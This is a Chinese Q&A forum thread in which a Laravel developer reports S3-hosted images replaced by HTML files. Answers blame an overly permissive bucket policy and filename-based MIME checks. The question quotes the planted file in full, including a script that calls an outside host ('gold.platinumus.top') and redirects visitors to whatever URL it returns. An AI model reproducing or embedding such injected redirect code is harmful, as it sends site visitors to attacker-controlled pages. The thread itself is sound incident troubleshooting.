我平台的用户可以上传他们的头像图片,但他们需要在我的 Laravel 后端请求一个签名的 url。这是控制器public function avatarUploadSigner(Request $request){ return s3_signedUrl("img/avatar/{$this->user->id}.jpg");}这里的功能是获取签名的 s3 以上传图像function s3_signedUrl($path, $expireOnMinutes = 120) { if(!$path) { return ['error' => 'filename missing']; } $s3 = Storage::disk('s3'); $adapter = $s3->getDriver()->getAdapter(); $client = $adapter->getClient(); $mime = \League\Flysystem\Util\MimeType::detectByFilename($path); try { $command = $client->getCommand('PutObject', array( 'Bucket' => $adapter->getBucket(), 'Key' => $path, 'ContentType' => $mime, 'use_accelerate_endpoint' => true )); $signedUrl = $client->createPresignedRequest( $command, "+$expireOnMinutes minutes" ); $signedUrl = $signedUrl->getUri()->__toString(); } catch (S3Exception $e) { return ['error' => $e->getMessage()]; } return $signedUrl;}一周前,一些图像变成了这样的 html 文件:<html><head><script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&type=content-script&dmn=myghostmarket.s3.eu-west-1.amazonaws.com&css=1&js=1&gcss=1&rel=0&rji=0"></script><script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&name=AdGuard%20Assistant&name=AdGuard%20Extra&type=user-script"></script><script> var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();</script></head><body></body></html>但最近不仅是头像,现在还更改了其他图像,如页眉、页脚等,这些图像无法通过签名 url 更改。音频和 img 文件夹是可读的,但没有签名的 url 是不可写的吗?我还有另一个更重要的私人文件夹。他们有危险吗?我的代码有什么问题?我的 s3 存储桶被黑了吗?
2 回答
浮云间
TA贡献1829条经验 获得超4个赞
您的存储桶策略是这样说的:
任何AWS 凭证
可以进行任何S3 API 调用
但仅限于
img
和audio
目录中的对象
这意味着我可以使用我的AWS 凭证读取、上传和删除该存储桶中的对象。它会类似地解释为什么对象已被外部各方上传/修改。
如果您的目的是使对象公开可读,则应使用s3:GetObject
:
{
"Version":"2012-10-17",
"Statement":[
{
"Sid":"PublicRead",
"Effect":"Allow",
"Principal": "*",
"Action":"s3:GetObject",
"Resource":[
"arn:aws:s3:::examplebucket/audio/*",
"arn:aws:s3:::examplebucket/img/*",
]
}
]
}
智慧大石
TA贡献1946条经验 获得超3个赞
detectByFilename
是检查 MIME 类型的最糟糕的方法。
/home/test/myfile.html.jpg
会返回 jpg,即使它不是合法的 jpg 文件。相反,您应该使用\finfo(FILEINFO_MIME)
并读取文件流来获取 MIME 类型。
不过,这是否会带来重大问题,取决于您在上传图像后如何嵌入图像。如果您将原始文件数据嵌入到您的页面中,这将使您容易受到 CSRF 攻击。
- 2 回答
- 0 关注
- 78 浏览
添加回答
举报
0/150
提交
取消